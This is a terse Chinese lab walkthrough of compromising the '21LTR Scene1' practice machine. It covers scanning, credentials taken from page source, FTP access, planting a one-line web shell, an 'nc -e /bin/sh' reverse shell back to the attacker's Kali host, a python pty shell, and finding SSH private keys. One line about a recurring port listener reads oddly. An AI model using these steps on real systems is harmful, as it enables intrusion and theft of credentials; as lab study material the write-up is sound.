21LTR.com_Scene1_2.120靶机

getshell

主机发现，端口目录扫描

只有一个logs目录，接着往下扫

访问首页，检查源代码，发现一组账号密码，可能是ssh，也可能是ftp的

访问logs接口，没有权限

尝试利用发现的账号密码，ssh没有成功，尝试ftp

注意在windows上什么没有，用kali连接

下载到本地查看一下

拼接访问logs目录下的backup_log.php,发现可以访问了

作者亲笔监听靶机10001端口，每十分钟执行一次，你要坚持一直重复这条命令

写入一句话木马

浏览器验证，cmd参数可以执行系统命令

蚁剑连接或者执行反弹shell的系统命令，这里演示后一种，后面加上kali的ip和监听的端口

nc -e /bin/sh

 

是普通用户

提权

获取交互式的shell  

python -c 'import pty; pty.spawn("/bin/sh")'

cd /media/USB_1/Stuff/Keys

像是ssh私钥，尝试连接一下，连接成功